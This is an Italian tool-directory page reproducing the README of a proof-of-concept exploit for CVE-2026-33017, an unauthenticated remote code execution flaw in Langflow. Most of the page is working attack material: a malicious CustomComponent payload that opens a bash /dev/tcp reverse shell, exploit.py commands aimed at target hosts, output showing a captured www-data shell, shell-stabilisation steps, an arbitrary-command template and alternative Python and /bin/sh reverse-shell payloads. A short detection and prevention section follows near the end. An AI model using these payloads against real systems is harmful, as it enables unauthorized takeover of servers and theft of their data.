Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/ahseven/cve-2026-33017-poc-reverse-shell
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingRed TeamingStrumento di Accesso Remoto
GitHubahseven/cve-2026-33017-poc-reverse-shell

CVE-2026-33017-PoC-Reverse-Shell

Exploit per CVE-2026-33017, una RCE non autenticata in Langflow, che consente una reverse shell tramite payload CustomComponent dannoso.

Vedi Repository
11h 43m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-33017 - Exploit RCE non autenticato in Langflow

📋 Panoramica

CVE-2026-33017 è una vulnerabilità di Remote Code Execution (RCE) non autenticata nelle versioni di Langflow <= 1.8.2. La vulnerabilità risiede nell'endpoint /api/v1/build_public_tmp/{flow_id}/flow, che non dispone di un'autenticazione adeguata e consente agli attaccanti di eseguire codice Python arbitrario durante il processo di compilazione del grafo.

⚠️ Disclaimer

Questo exploit è destinato esclusivamente a scopi educativi e di test autorizzati. L'accesso non autorizzato a sistemi informatici è illegale. Utilizza questo strumento solo su sistemi di tua proprietà o per i quali hai ricevuto esplicita autorizzazione al test.

🎯 Versioni Interessate

VersioneStato
<= 1.8.2Vulnerabile
1.9.0Corretta

🔍 Dettagli della Vulnerabilità

Causa Principale

La vulnerabilità deriva dalla funzione prepare_global_scope() in validate.py, che chiama exec() sul codice di ciascun nodo CustomComponent senza un adeguato sandboxing. Quando un componente viene caricato/compilato, qualsiasi codice Python a livello di modulo (al di fuori delle definizioni di classe) viene eseguito immediatamente.

Endpoint Vulnerabile

root@kitploit:~
POST /api/v1/build_public_tmp/{flow_id}/flow

Caratteristiche:

  • ❌ Nessuna autenticazione richiesta
  • ❌ Nessuna API key necessaria
  • ❌ Nessun header di autorizzazione
  • ✅ Dati controllati dall'attaccante passati direttamente al costruttore del grafo

Catena di Esecuzione del Codice

root@kitploit:~
Attacker POST → build_public_tmp → start_flow_build() → create_graph() → 
Graph.from_payload() → add_nodes_and_edges() → initialize() → 
_instantiate_components_in_vertices() → instantiate_component() → 
eval_custom_component_code() → prepare_global_scope() → 
exec(compiled_code) ← ESECUZIONE ARBITRARIA DEL CODICE

🛠️ Sfruttamento

Prerequisiti

  1. Un ID di flusso pubblico (UUID) da un'istanza Langflow
  2. URL di destinazione (istanza Langflow)
  3. IP e porta del listener per la reverse shell

Installazione

root@kitploit:~
git clone https://github.com/yourusername/CVE-2026-33017-exploit.git
cd CVE-2026-33017-exploit
pip install -r requirements.txt

Requisiti

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0

Utilizzo

Sintassi di Base

root@kitploit:~
python3 exploit.py --url <TARGET_URL> --flow-id <FLOW_ID> --lhost <LISTENER_IP> --lport <LISTENER_PORT>

Esempi

1. Reverse Shell

root@kitploit:~
# Avvia il listener
nc -lvnp 4444

# Esegui l'exploit
python3 exploit.py --url https://target.langflow.com --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 --lhost 10.10.16.171 --lport 4444

2. Utilizzo delle Opzioni Brevi

root@kitploit:~
python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444

3. Test Locale

root@kitploit:~
python3 exploit.py -u http://localhost:7860 -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444

4. Timeout Personalizzato

root@kitploit:~
python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444 -t 30

Argomenti della Riga di Comando

ArgomentoBreveObbligatorioDescrizione
--url-uSìURL di destinazione (es. https://target.langflow.com)
--flow-id-fSìID del flusso (UUID) del flusso pubblico
--lhost-lhSìIndirizzo IP del listener per la reverse shell
--lport-lpSìPorta del listener per la reverse shell
--timeout-tNoTimeout HTTP in secondi (predefinito: 15)

🔧 Come Funziona

1. Struttura del Payload

L'exploit invia un nodo CustomComponent malevolo che esegue codice a livello di modulo:

root@kitploit:~
import os

# Questo viene eseguito immediatamente durante il caricamento del componente
_x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")

from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data

class ExploitComp(Component):
    display_name="X"
    outputs=[Output(display_name="O",name="o",method="r")]
    def r(self)->Data:
        return Data(data={})

2. Flusso di Esecuzione

root@kitploit:~
1. L'attaccante invia una richiesta POST a /api/v1/build_public_tmp/{flow_id}/flow
2. Langflow riceve il CustomComponent malevolo
3. prepare_global_scope() chiama exec() sul codice del componente
4. Il codice a livello di modulo viene eseguito immediatamente
   ├── _x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")
5. La reverse shell si collega al listener dell'attaccante
6. La compilazione del grafo continua (ma è troppo tardi)

3. Perché Funziona

  • Esecuzione a livello di modulo: Il codice al di fuori delle definizioni di classe viene eseguito durante exec()
  • Nessun sandboxing: exec() viene chiamato senza restrizioni
  • Nessuna autenticazione: L'endpoint è accessibile pubblicamente
  • Dati controllati dall'attaccante: Il parametro data viene incorporato direttamente

📊 Prova di Concetto

Output di un Exploit Riuscito

root@kitploit:~
$ python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444

============================================================
  CVE-2026-33017 - Langflow Unauthenticated RCE
============================================================

[!] Assicurati che il tuo listener sia in esecuzione:
    nc -lvnp 4444

[+] URL di destinazione: https://target.langflow.com/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow
[+] LHOST: 10.10.16.171
[+] LPORT: 4444
[*] Invio del payload dell'exploit...
[+] Codice di stato: 200
[+] Exploit inviato con successo!
[+] ID Job: abc123-def456-789ghi

[*] Controlla il tuo listener per la reverse shell!
[*] nc -lvnp 4444

$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.171] from (UNKNOWN) [10.129.8.2] 42348
bash: cannot set terminal process group (1526): Inappropriate ioctl for device
bash: no job control in this shell
www-data@langflow:/app$

🚀 Utilizzo Avanzato

Stabilizzare la Shell

Una volta ottenuta una reverse shell:

root@kitploit:~
# Python PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Oppure usa script
script /dev/null -c bash

# Metti in background con Ctrl+Z
# Poi esegui:
stty raw -echo
fg
reset
export TERM=xterm

Eseguire Comandi Personalizzati

Modifica lo script per eseguire comandi arbitrari invece di una reverse shell:

root@kitploit:~
# Nella funzione build_payload():
return f"""import os

_x = os.system("{command}")

from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data

class ExploitComp(Component):
    display_name="X"
    outputs=[Output(display_name="O",name="o",method="r")]
    def r(self)->Data:
        return Data(data={{}})
"""

Payload Alternativi

1. Reverse Shell Python con Socket

root@kitploit:~
import os, socket, subprocess

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("LHOST", LPORT))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/bash", "-i"])

2. Reverse Shell /bin/sh (se bash non è disponibile)

root@kitploit:~
import os
os.system("/bin/sh -c 'exec 5<>/dev/tcp/LHOST/LPORT;cat <&5 | while read line; do $line 2>&5 >&5; done'")

🛡️ Rilevamento e Prevenzione

Indicatori di Rilevamento

  • Richieste POST a /api/v1/build_public_tmp/*/flow senza autenticazione
  • Codice CustomComponent sospetto contenente os.system() o subprocess
  • File inattesi /tmp/rce-proof o /tmp/executed
  • Connessioni in uscita dai container Langflow

Misure di Prevenzione

  1. Applica la patch: Aggiorna a Langflow 1.9.0 o successivo
  2. Implementa l'autenticazione: Aggiungi un'autenticazione adeguata all'endpoint /build_public_tmp
  3. Validazione dell'input: Sanifica l'input del codice per CustomComponent
  4. Sandboxing: Implementa un sandboxing adeguato per le chiamate exec()
  5. Segmentazione di rete: Isola le istanze Langflow

📚 Riferimenti

  • Advisory GitHub: GHSA-vwmf-pq79-vjvx - Advisory ufficiale CVE-2026-33017
  • Voce CVE: CVE-2026-33017 su NVD
  • Repository GitHub Langflow: langflow-ai/langflow
  • OWASP Top 10 - A03:2021 Injection: Injection Prevention Cheat Sheet

🗺️ Cronologia

DataEvento
Marzo 2026Vulnerabilità Scoperta
16 marzo 2026Advisory GitHub Pubblicato
Aprile 2026Divulgazione Pubblica
Aprile 2026Patch Rilasciata (1.9.0)

📝 Licenza

Questo progetto è destinato esclusivamente a scopi educativi. Utilizzalo a tuo rischio.

⚖️ Avviso Legale

Questo software è fornito esclusivamente per scopi educativi e di test di sicurezza autorizzati. Gli autori non sono responsabili di qualsiasi uso improprio o danno causato da questo software. Gli utenti sono gli unici responsabili del rispetto di tutte le leggi e i regolamenti applicabili.


Realizzato con 🖤 per la ricerca sulla sicurezza

Scarica lo strumento